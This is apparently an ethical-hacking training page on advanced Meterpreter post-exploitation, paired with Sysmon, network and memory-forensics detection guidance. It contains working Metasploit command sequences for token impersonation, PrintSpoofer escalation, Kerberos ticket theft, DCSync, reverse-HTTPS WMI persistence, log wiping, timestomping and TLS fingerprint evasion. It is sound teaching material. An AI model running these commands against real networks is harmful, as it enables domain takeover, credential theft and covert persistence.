Master process migration, token impersonation, multi-hop pivoting, persistence mechanisms, artefact cleanup, and the full detection footprint Meterpreter leaves — examined from both offensive and defensive perspectives with CEH alignment throughout.
Advanced Meterpreter Post-Exploitation
Meterpreter is Metasploit's advanced in-memory payload — it runs entirely in RAM, communicates over encrypted channels, and writes no files to disk by default. At Expert level, Meterpreter usage moves beyond initial access and basic privilege escalation into the full post-exploitation lifecycle: deep system reconnaissance, multi-hop network traversal, token-based lateral movement, durable persistence, targeted credential harvesting, and controlled artefact cleanup.
Understanding Meterpreter at this depth is equally essential for defenders. Every technique in this page has a corresponding detection signal — and knowing precisely what artefacts each technique leaves is the foundation of effective threat hunting, incident response, and SOC alert tuning. This page covers both sides deliberately, because an expert practitioner needs to understand the full system.
Where This Sits in the Attack Lifecycle
Post-exploitation begins the moment you have an active session. Everything before that moment — reconnaissance, scanning, and exploitation — was about getting access. Post-exploitation is about what you do with that access: what you can reach, what you can take, how long you can stay, and how quietly you can do it.
The CEH maps this to the latter phases of the system hacking model: Escalating Privileges, Executing Applications, Maintaining Access, and Covering Tracks. Meterpreter provides a unified interface for all four phases from a single active session — no additional tooling required until very advanced operations demand specialisation.
Imagine a highly-trained operative who has just slipped inside a secure building by picking a lock on a side door. Getting inside was phase one. But the mission has barely started — they need to find the server room, access specific files, disable the alarm before a guard checks it, and leave no trace they were ever there. They carry no obvious equipment: their tools are concealed in everyday objects, their communications are encoded, and they avoid leaving fingerprints. Meterpreter is that operative — operating in-memory rather than on disk, speaking over encrypted channels rather than open protocols, and cleaning its traces when the mission is complete.
Why Meterpreter Is Different
In-memory Runs in target process -- no file written to disk by default Encrypted All C2 communication encrypted -- TLS over TCP or HTTPS Extensible Load additional modules at runtime (kiwi, incognito, etc.) Reflective Reflective DLL injection -- loads itself without LoadLibrary Stealthy Migrates into legitimate processes (explorer, svchost) Multi-platform Windows, Linux, macOS, Android -- consistent interface
Reflective DLL Injection — Under the Hood
The most technically significant property of Meterpreter is reflective loading, and it is worth understanding deeply because it explains both why Meterpreter is hard to detect and exactly where it can still be found.
Normally, when Windows loads a DLL (Dynamic Link Library) into a process, it uses the Windows loader — a system component that reads the DLL from disk, maps it into memory, resolves which other libraries it depends on, and updates a data structure called the Process Environment Block (PEB) to record that the DLL is loaded. This process creates several detectable artefacts: a file on disk, an entry in the loaded modules list, a record in the PEB.
Meterpreter's reflective loader bypasses the entire standard Windows loader. The initial stager shellcode allocates a region of memory, writes the Meterpreter DLL into that region, and then calls a bootstrap function embedded inside the DLL that performs all the work the Windows loader would normally do — manually parsing its own import table, resolving dependencies, and mapping itself — entirely from memory. The PEB is never updated. No module list entry is created. No disk file exists.
Imagine a library that normally requires all books to be checked in through the front desk — stamped, catalogued, and entered into the official ledger before anyone can read them. A reflective book would somehow check itself in, without going through the desk, without being stamped, and without appearing in the ledger. If the librarian looks at the catalogue, the book doesn't exist. If they check the shelves, it isn't there. But if they sit down and watch someone reading — it's clearly present, and clearly active. That's reflective DLL injection: present and functional in memory, absent from every official record the OS keeps.
This has a direct implication for detection: the only reliable way to find a reflectively loaded Meterpreter DLL is through memory scanning — either by examining raw process memory for the known Meterpreter byte patterns (which EDR tools do), or by looking for memory regions with Read-Write-Execute (RWX) permissions that are not backed by any file on disk (which is abnormal and is itself a detection signal).
The RWX memory region at an address not backed by a disk file is the key detection indicator. Legitimate Windows components do not typically allocate private RWX memory regions at runtime. Security tools that watch for this pattern — like memory scanning in EDR agents and tools like Volatility in forensic analysis — can surface Meterpreter sessions even when no file evidence exists.
Advanced Meterpreter in Practice
Migrating into a stable, long-lived process prevents session loss if the original exploit process exits, and hides Meterpreter within a legitimate process name. The target process must be the same architecture (x64/x86) as the payload, and the operator needs sufficient privileges to inject into the target process.
# Current process -- short-lived, flagged by EDR: meterpreter > getpid Current pid: 4821 (cmd.exe -- obvious) meterpreter > ps PID Name Arch User 4 System 832 svchost.exe x64 NT AUTHORITY\SYSTEM 1204 explorer.exe x64 CORP\jsmith 3341 spoolsv.exe x64 NT AUTHORITY\SYSTEM meterpreter > migrate 3341 [*] Migrated to spoolsv.exe (PID 3341) -- SYSTEM process, long-lived meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Windows access tokens represent logged-on user sessions. The Incognito module lists and impersonates tokens of other users currently logged into the system — including Domain Admins whose sessions may be active on the compromised machine.
meterpreter > load incognito meterpreter > list_tokens -u Delegation Tokens Available: CORP\jsmith CORP\domain_admin <-- Domain Admin logged into this machine NT AUTHORITY\SYSTEM Impersonation Tokens Available: NT AUTHORITY\NETWORK SERVICE meterpreter > impersonate_token "CORP\\domain_admin" [+] Delegation token available -- Successfully impersonated CORP\domain_admin meterpreter > getuid Server username: CORP\domain_admin # Now running as Domain Admin -- can access DC, run DCSync, create backdoors
Expert pivoting involves routing through multiple compromised hosts to reach deeply segmented internal networks — databases, OT/ICS systems, or air-gapped segments connected only to trusted intermediaries.
# Network topology: Attacker (192.168.1.100) -> Session 1: DMZ host (192.168.1.15, 10.10.10.15) -> Session 2: Internal server (10.10.10.5, 172.16.0.5) -> Target: DB server (172.16.0.20) -- unreachable from DMZ # Add routes through session 1 (DMZ -> internal): route add 10.10.10.0/24 1 # Exploit internal server (10.10.10.5), get session 2 # Add route through session 2 (internal -> DB segment): route add 172.16.0.0/24 2 # Now scan and exploit 172.16.0.20 -- 2 hops through compromised hosts use auxiliary/scanner/portscan/tcp set RHOSTS 172.16.0.20 [+] 172.16.0.20:1433 - TCP OPEN (MSSQL database!)
Multiple persistence mechanisms ensure access survives reboots, AV scans, and session timeouts — each with different stealth and reliability trade-offs. The choice of mechanism depends on the target environment, the required level of stealth, and the need for SYSTEM vs. user-level persistence.
# Method 1: Scheduled task (via post module): use post/windows/manage/persistence_exe set STARTUP SCHEDULER set SESSION 1 run [*] Persistence installed -- scheduled task runs at boot as SYSTEM # Method 2: WMI event subscription (fileless, stealthy): use exploit/windows/local/wmi_persistence # Executes PowerShell payload via WMI event -- no files, hard to find # Method 3: Service installation: use post/windows/manage/persistence set STARTUP SERVICE # Installs as Windows service -- survives reboot but more detectable
After completing objectives, responsible red team operators clean up their artefacts to return the system to its pre-engagement state and test blue team detection capabilities.
# Clear Windows Event Logs: meterpreter > clearev [*] Wiping 1847 records from Application log [*] Wiping 3214 records from System log [*] Wiping 9421 records from Security log # Note: clearing logs is itself detectable (Event ID 1102/104) # Selective deletion is stealthier than full wipe # Timestomp -- change file timestamps to blend in: meterpreter > timestomp payload.exe -m "03/15/2024 08:22:14" [*] Modified time set to: 03/15/2024 08:22:14 # Remove persistence mechanisms added during engagement: meterpreter > run post/windows/manage/persistence CLEANUP=true
Even "fileless" Meterpreter leaves detectable traces — understanding these helps blue teamers hunt for active sessions.
Network Regular HTTPS beaconing to non-CDN IP at fixed intervals JA3 fingerprint matching Metasploit default TLS profile Unusual process making outbound connections (spoolsv.exe -> internet) Endpoint Sysmon Event 10: process accessing LSASS memory (kiwi module) Sysmon Event 8: CreateRemoteThread from migration Anomalous parent-child: svchost spawning PowerShell Memory Meterpreter DLL in process memory (not backed by disk file) RWX memory regions containing Meterpreter stage Known Meterpreter byte signatures in process memory
What You Need to Know
Windows Access Tokens — A Deep Dive
Token impersonation is one of the most powerful and most misunderstood techniques in Windows post-exploitation. To use it effectively — and to understand why defenses succeed or fail — you need a clear mental model of what Windows access tokens actually are and how the operating system uses them.
Every process and thread in Windows runs within a security context defined by an access token. The token is a kernel object that contains the user's Security Identifier (SID), group memberships, privilege flags (like SeDebugPrivilege or SeImpersonatePrivilege), and the integrity level of the process. When a process tries to access a resource — open a file, connect to a network share, query the registry — the Windows security subsystem checks the token against the resource's Access Control List (ACL) to determine whether access should be granted.
Think of an access token as a government-issued ID badge. The badge has your name, your department, your security clearance level, and a list of which doors in the building you're allowed to open. When you approach a locked door, the card reader checks your badge against the door's access list. You don't re-authenticate with a password every time — you just present the badge. Stealing someone else's badge (token theft) lets you open their doors without knowing their PIN. Making a copy of their badge (token duplication) lets you keep their access even after they leave the building. This is exactly what token impersonation does in Windows.
Delegation vs Impersonation Tokens
The distinction between delegation tokens and impersonation tokens is critical and frequently tested. Meterpreter's Incognito module lists both types, and they have different capabilities:
| Token Type | What It Represents | Can Access Network Resources? | Attacker Value |
|---|---|---|---|
| Delegation Token | A full interactive session token — the user is actively logged on (console, RDP session). Contains full credentials for network delegation. | Yes — can be passed to remote systems | Highest value — enables lateral movement to any resource the user can access, including domain controllers |
| Impersonation Token | A limited token from a non-interactive session (network logon, service account). Cannot pass credentials onward to further network hops. | Local only — can access local resources but cannot delegate to remote systems | Useful for local privilege escalation; limited for lateral movement |
This distinction explains why finding a Domain Admin's delegation token on a compromised workstation is so valuable: it provides full Domain Admin access to every resource in the domain without ever touching the domain controller directly, and without needing to know the account's password or hash.
SeImpersonatePrivilege — The Gateway Privilege
Token impersonation requires the SeImpersonatePrivilege privilege in the current process token. This privilege is granted by default to many Windows service accounts — IIS worker processes, SQL Server service accounts, and various other service contexts run with this privilege. This makes service account compromises particularly dangerous: even a low-privileged service account with SeImpersonatePrivilege can be escalated to SYSTEM using techniques like Rotten Potato, Juicy Potato, and their modern variants.
When initial access lands in a service context (IIS, SQL Server, Exchange), the process typically has SeImpersonatePrivilege but is not running as SYSTEM. Potato-class attacks abuse this privilege through a COM/DCOM authentication coercion — forcing a SYSTEM-level token to appear on a named pipe the attacker controls, then stealing it.
# Check current privileges after landing in IIS worker context: meterpreter > getprivs Enabled Process Privileges: SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege <-- This is the key privilege SeIncreaseWorkingSetPrivilege # Load local exploit suggester to find potato-class exploit: use post/multi/recon/local_exploit_suggester set SESSION 1 run [+] exploit/windows/local/printspoofer -- likely works on this target # PrintSpoofer: abuses Print Spooler to coerce SYSTEM token via named pipe use exploit/windows/local/printspoofer set SESSION 1 run [*] Meterpreter session 2 opened meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
The entire escalation path here — from web application compromise to SYSTEM — requires no password, no hash, and no CVE against the OS itself. It exploits a design property of how Windows service accounts are configured by default.
Migration Strategy and Process Selection
Process migration is not just about hiding in a legitimate process name. The choice of which process to migrate into has significant operational consequences — for stealth, for persistence, for capability, and for what detection signals the migration event itself creates. An expert operator chooses a migration target deliberately, not arbitrarily.
Target Process Selection Criteria
- Longevity: System services like
spoolsv.exe,svchost.exe, andlsass.exerun from boot until shutdown and will never be terminated by normal user activity. User processes likeexplorer.exelast as long as the user is logged in. Browser processes can be closed at any time. - Architecture match: A 32-bit Meterpreter payload cannot migrate into a 64-bit process and vice versa. Attempting to do so will crash the target process and potentially terminate the session — a highly detectable event.
- Privilege level: Migrating from a high-privilege process into a lower-privilege process will drop privileges. If running as SYSTEM, migrating into a user-context process means losing SYSTEM. The reverse is also true: migrating from a user process into a SYSTEM process (with appropriate token privileges) gains SYSTEM.
- Network access: If the operator needs the Meterpreter session to make outbound connections, migrating into a process that is heavily monitored for network activity (like a browser) or that normally never makes network connections (like
spoolsv.exe) both carry risk — one from scrutiny, one from anomaly detection. - Capability acquisition: Migrating into a process that interacts with user input — such as
explorer.exe, a word processor, or a browser — enables the keylogger and screenshot capabilities to capture meaningful data. A keylogger running insidespoolsv.execaptures nothing useful; one running insideexplorer.execaptures everything the user types.
spoolsv.exe — Print Spooler. SYSTEM privilege, runs always, rarely monitored for network activity. Good for long-term persistence. Does not capture keystrokes.
svchost.exe — Service Host. Multiple instances run as different users. Blends in by design. Architecture must match.
explorer.exe — Shell process. Runs as logged-in user. Captures all keystrokes and screen content. Visible to user if they check Task Manager — slightly riskier.
winlogon.exe — Windows Logon. Captures credentials entered at logon screen. Requires SYSTEM to migrate into.
The Migration Event — What Defenders See
The act of migrating is itself a detectable event, regardless of how benign the destination process looks. Process injection — which is what migration is — creates a specific sequence of Windows API calls that Sysmon and EDR tools monitor closely:
# What happens during meterpreter > migrate [PID]: 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid) -- Open handle to target process. Sysmon Event 10 (if LSASS) 2. VirtualAllocEx(target_handle, NULL, payload_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE) -- Allocate RWX memory in remote process. Highly anomalous. 3. WriteProcessMemory(target_handle, remote_addr, meterpreter_dll, size) -- Write Meterpreter DLL into remote process memory. 4. CreateRemoteThread(target_handle, NULL, 0, remote_addr, NULL, 0, NULL) -- Execute Meterpreter in the remote process. Sysmon Event 8. Sysmon Event 8 (CreateRemoteThread) is one of the most reliable indicators of process injection across all injection techniques.
Credential Harvesting and Lateral Movement
Once SYSTEM-level access is achieved on a single host, the goal shifts from vertical escalation (gaining higher privileges on one machine) to horizontal movement (gaining access to more machines). Credential harvesting is the bridge between the two: extracting credentials from one machine to authenticate to the next.
What Kiwi Can Extract
The Kiwi extension is Meterpreter's built-in port of Mimikatz. Understanding what it can and cannot extract requires understanding how Windows stores different types of credentials in memory and on disk:
- NTLM hashes (SAM database): Every Windows system stores local account password hashes in the Security Account Manager (SAM) database, encrypted by the SYSKEY. Kiwi can dump these for use in Pass-the-Hash attacks against other systems where those local accounts exist.
- WDigest plaintext passwords (legacy): On Windows versions prior to 8.1 / Server 2012 R2, or when the WDigest registry key is enabled, Windows caches plaintext passwords in LSASS memory for backwards compatibility with HTTP authentication. Kiwi surfaces these directly.
- Kerberos tickets (TGTs and service tickets): Active Directory environments use Kerberos for authentication. Valid Kerberos tickets cached in LSASS memory can be exported and reused for Pass-the-Ticket attacks — authenticating as the ticket's owner without the password or hash.
- DPAPI master keys: The Windows Data Protection API encrypts secrets like saved browser passwords, Wi-Fi keys, and certificate private keys. DPAPI master keys derived from LSASS can decrypt all of these.
In Active Directory environments, Pass-the-Ticket (PtT) is often preferable to Pass-the-Hash: it works with Kerberos authentication (which is the modern default), doesn't require the target account's password or NTLM hash, and is harder to detect than PtH if the ticket is still valid.
meterpreter > load kiwi # List Kerberos tickets currently cached in LSASS: meterpreter > kerberos_ticket_list [*] Listing tickets... [00000000] - 0x00000012 - aes256_hmac Start/End: 5/26/2026 08:00 ; 5/26/2026 18:00 Server Name: krbtgt/CORP.LOCAL @ CORP.LOCAL Client Name: domain_admin @ CORP.LOCAL <-- TGT for DA account! # Export the TGT ticket to a .kirbi file: meterpreter > kerberos_ticket_export [*] Exported ticket to /tmp/ticket_da.kirbi # Inject the ticket into our current session (Pass-the-Ticket): meterpreter > kerberos_ticket_use /tmp/ticket_da.kirbi [+] Ticket successfully imported -- now operating as domain_admin # Access the Domain Controller's file share as Domain Admin: meterpreter > shell dir \\DC01\SYSVOL Volume in drive \\DC01\SYSVOL has no label. Directory of \\DC01\SYSVOL\corp.local\Policies ← DC file system accessible
DCSync — Pulling Domain Credentials Without Touching the DC
Once Domain Admin-level access is achieved (via token impersonation, Pass-the-Ticket, or direct compromise), one of the highest-value techniques is DCSync. Rather than running code on the domain controller itself — which is heavily monitored and logged — DCSync abuses the legitimate Active Directory replication protocol to ask the DC to "replicate" (send) the password hashes of any account in the domain.
From the domain controller's perspective, this looks like a routine replication request from another DC or admin tool. It happens over LDAP/DRSUAPI and creates no process execution events on the DC — making it significantly stealthier than trying to run Mimikatz directly on the DC.
# Requires Domain Admin or specific replication rights (DS-Replication-Get-Changes-All) # DCSync the krbtgt account hash -- used for Golden Ticket attacks: meterpreter > dcsync_ntlm krbtgt [*] Attempt to retrieve NTLM of user 'krbtgt' Hash NTLM: 819af826bb148e603acb0f33d17632f8 # DCSync the Domain Administrator account: meterpreter > dcsync_ntlm Administrator Hash NTLM: aad3b435b51404eeaad3b435b51404ee # The krbtgt hash can now be used to forge Kerberos tickets (Golden Ticket) # for ANY account in the domain, with any privileges, valid for 10 years.
Persistence — Techniques, Trade-offs, and Detection
Persistence is the phase where the attack transitions from a temporary foothold to a durable presence. The fundamental challenge of persistence is that every mechanism that makes it reliable also makes it detectable — there is an inherent trade-off between reliability and stealth that expert operators must navigate consciously.
A thief who wants to return to a house they've broken into has several options. They could leave a window unlocked — simple and reliable, but easy to find on a routine security check. They could duplicate the homeowner's key — harder to detect since the lock looks legitimate, but requires a copy of the key. They could befriend a family member — nearly invisible, but complex and unreliable. They could bribe a locksmith who regularly services the house — invisible and reliable, but involves a third party with their own risks. Each persistence mechanism an attacker installs presents exactly this same matrix: the more reliable and invisible it is, the more complex and fragile it tends to be.
WMI Persistence — The Stealthiest Option
Windows Management Instrumentation (WMI) is a management infrastructure built into Windows that allows administrators and applications to query system state, monitor for events, and execute actions in response to those events. The key component for persistence is the WMI event subscription: a mechanism that runs arbitrary code when a specific event occurs, such as a user logging in or the system reaching a certain uptime.
What makes WMI persistence exceptional from a stealth perspective is what it is not: it doesn't create a scheduled task (visible in Task Scheduler), it doesn't create a registry autorun entry (visible in autoruns.exe), it doesn't install a service (visible in services.msc), and it doesn't write an executable to a predictable location. The persistence lives entirely in the WMI repository — a database file that most analysts don't inspect as part of routine investigation.
# WMI persistence has three components: 1. EventFilter -- What event triggers execution (e.g., system uptime > 200s) 2. EventConsumer -- What action to take (CommandLineEventConsumer executes a command) 3. FilterToConsumerBinding -- Links the filter to the consumer # Via Meterpreter (PowerShell-based WMI persistence): use exploit/windows/local/wmi_persistence set SESSION 1 set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 192.168.1.100 run [*] WMI event subscription created -- triggers on system uptime event [*] No files written to disk. No scheduled tasks. No registry keys. # Detection requires querying the WMI repository directly: # Get-WMIObject -Namespace root\subscription -Class __EventFilter # Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Persistence Mechanism Comparison
| Mechanism | Survives Reboot | Requires File on Disk | Stealth Level | Detection Method |
|---|---|---|---|---|
| Registry Run Key | ✓ | ✓ | Low | Autoruns.exe, Sysmon Reg events |
| Scheduled Task | ✓ | ✓ | Medium | Task Scheduler, Sysmon Event 1 |
| Installed Service | ✓ | ✓ | Medium | services.msc, SC query, Event 7045 |
| WMI Subscription | ✓ | Partial (PS script) | High | WMI repository query, Sysmon Event 19/20/21 |
| COM Object Hijack | ✓ | ✓ | High | Registry monitoring on HKCU\Software\Classes |
| DLL Search Order Hijack | ✓ | ✓ | High | Process Monitor, unexpected DLL load path |
Covering Tracks — Techniques and Limitations
Covering tracks is the final phase of the system hacking cycle, and it is often the phase that separates a successful undetected intrusion from a detected one. The goal is not just to delete evidence — it is to make the environment look as it did before the intrusion, and ideally to make any remaining indicators ambiguous enough to prevent confident attribution.
The Log Clearing Paradox
The most intuitive artefact cleanup action — clearing event logs — is also the most detectable. Windows generates a specific event when its security log is cleared: Event ID 1102 (for Security log cleared, written by the Audit service) and Event ID 104 (System log cleared). These events are generated by the system itself and cannot be suppressed by the clearing action — the record of the clearing appears in the very moment of clearing.
In environments with a SIEM where logs are shipped to a remote collector in real-time, log clearing is almost entirely futile: the events have already left the endpoint before they can be deleted. An attacker who clears logs in a monitored environment essentially alerts the SOC that something happened, without providing an explanation of what.
A red team successfully compromises a Windows server and runs several post-exploitation modules including the Kiwi credential dump and process migration. Their engagement report needs to demonstrate the full attack chain. Before wrapping up, they run clearev out of habit — wiping 9,000 security log entries.
The blue team's SIEM, which ingests Windows event logs in near-real-time via Windows Event Forwarding, had already captured all of the relevant events — the LSASS access, the CreateRemoteThread for process migration, the logon events from the credential dump. The log clearing generates Event 1102, which the SIEM flags as a high-priority alert. The blue team now has both the complete record of the attack chain AND an alert about the cleanup attempt — more evidence, not less.
The lesson: log clearing is a meaningful evasion technique only in unmonitored environments. Against a mature SOC with centralised log management, it is often counterproductive — transforming a subtle intrusion into an obvious one.
Timestomping — Manipulating the MACE Timestamps
Every file in Windows has four timestamps recorded in the NTFS Master File Table (MFT): Modified, Accessed, Changed (metadata), and Entry Modified — collectively called MACE timestamps. Forensic investigators rely on these timestamps to reconstruct a timeline of events. Timestomping modifies these timestamps to make a malware file appear to have been created years before the intrusion — blending in with legitimate system files of the same apparent age.
However, timestomping has a significant limitation that forensic investigators know to check: the $STANDARD_INFORMATION attribute timestamps (which are what Explorer and most tools display) can be modified by normal processes, but the $FILE_NAME attribute timestamps (stored in the MFT directory entry) cannot be modified by standard user-mode code. A forensic analyst comparing these two sets of timestamps will immediately identify any discrepancy as evidence of timestomping.
# Set all MACE timestamps on a file to appear as an old system file: meterpreter > timestomp C:\\Users\\Admin\\payload.exe -z "01/01/2018 09:00:00" [*] Setting specific MACE attributes... [*] Modified : Sat Jan 01 09:00:00 2018 [*] Accessed : Sat Jan 01 09:00:00 2018 [*] Created : Sat Jan 01 09:00:00 2018 # What a forensic investigator sees with the right tools: $STANDARD_INFORMATION timestamps (what timestomp modifies): Created: 2018-01-01 09:00:00 <-- looks old $FILE_NAME timestamps (NOT modifiable by timestomp): Created: 2026-05-26 14:33:12 <-- actual creation time still visible # Mismatch between the two = strong indicator of timestomping
Network-Level Evasion — JA3 Fingerprinting and C2 Obfuscation
Even with all endpoint artefacts cleaned, an active Meterpreter session generates continuous network traffic. The primary network-level detection mechanism for Meterpreter is JA3 fingerprinting — a technique for generating a fingerprint from the TLS handshake parameters that a client presents when initiating an HTTPS connection.
Metasploit's default TLS configuration generates a specific JA3 hash that has been publicly documented and is included in threat intelligence feeds used by next-generation firewalls and network monitoring platforms. An analyst who searches network flows for that JA3 hash will find any Meterpreter HTTPS sessions without needing to decrypt the traffic.
Advanced operators modify the Meterpreter HTTPS transport to present a JA3 fingerprint matching a common browser, making the C2 traffic indistinguishable from normal web browsing at the network level.
# Default Meterpreter JA3: 6734f37431670b3ab4292b8f60f29984 (flagged in threat intel) # Use a custom SSL certificate with browser-like cipher suites: use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_https set LHOST 192.168.1.100 set LPORT 443 set HandlerSSLCert /path/to/legitimate-looking-cert.pem set StagerVerifySSLCert true # Advanced: use Malleable C2 profiles (Cobalt Strike concept, ported to MSF) # to mimic specific browser or CDN traffic patterns # -- makes JA3 and HTTP header fingerprinting ineffective # Defence: inspect Subject Alternative Names on SSL certs # Self-signed certs for IP addresses are anomalous for port 443
Detecting Meterpreter — A Defender's Playbook
No offensive technique is presented in isolation here. Every capability Meterpreter provides has a corresponding detection opportunity — the question is whether the target environment is instrumented to observe it. This section maps each major technique to its detection signal so that defenders can assess their own visibility and prioritise telemetry improvements.
Sysmon — The Primary Detection Engine
Microsoft Sysinternals Sysmon (System Monitor) is a Windows service and device driver that logs detailed process and network activity to the Windows Event Log. For detecting Meterpreter and similar in-memory threats, Sysmon is the single most valuable sensor available without purchasing commercial EDR. The following Sysmon events are the most critical for Meterpreter detection:
lsass.exe, this event captures every credential dump attempt — including Kiwi, Mimikatz, and direct LSASS memory reads. CallTrace field shows which DLLs are involved; an unfamiliar or unsigned DLL in the call chain is a strong indicator of injection.Network Detection Signals
TLS handshake fingerprint. Default Meterpreter HTTPS has documented JA3 hash 6734f37431670b3ab4292b8f60f29984. Deploy on network taps or next-gen firewall. Does not require decrypting traffic.
Meterpreter calls home on a regular interval (default every few seconds). Statistical analysis of connection timing to a given destination IP reveals beaconing behaviour invisible to per-packet inspection. Tools like RITA perform this analysis automatically.
Meterpreter HTTPS typically uses a self-signed certificate for an IP address (not a hostname). SSL inspection or certificate transparency monitoring flags self-signed certs on port 443 to IP addresses — rare in legitimate traffic.
Correlate process names making network connections against a baseline of expected behaviour. spoolsv.exe making HTTPS connections, or explorer.exe connecting to an IP not in any CDN range — high-fidelity alerts with low false-positive rates.
CreateRemoteThread; credential dumping always accesses LSASS; C2 always requires a network connection from a process. These behavioural invariants remain true regardless of how the payload is encoded, obfuscated, or delivered — and they are what detection should focus on.Incident Response — What to Look For
When responding to a suspected Meterpreter compromise, investigators typically work through the following evidence sources in order of accessibility and reliability:
- SIEM alerts: Review correlated alerts for the suspected time window. Sysmon Event 8 (CreateRemoteThread), Event 10 on LSASS, and Event 3 from unexpected processes provide the clearest evidence of active Meterpreter.
- Network flow data: Identify anomalous outbound connections from the suspect host. Correlate JA3 hashes from HTTPS flows against the known Metasploit fingerprint. Look for regular beaconing intervals.
- Memory acquisition: Use tools like WinPMEM to capture a full physical memory image of the suspect system. Analyse with Volatility — specifically the
malfindplugin, which scans for memory regions with the RWX anomaly described earlier, and thedlllistplugin, which identifies DLLs present in memory but not in the loaded module list. - WMI repository audit: Query
root\subscriptionnamespace for unexpected EventFilter, EventConsumer, and FilterToConsumerBinding objects. These survive reboots and are invisible to most standard IR checklists. - Scheduled task and service audit: Export all scheduled tasks (XML format preserves hidden attributes) and services. Compare against a known-good baseline to identify additions or modifications.
Core Concepts Summary
You've covered the theory. Now apply it hands-on in the simulated environment.
Start Lab — Advanced Meterpreter →← Return to all labs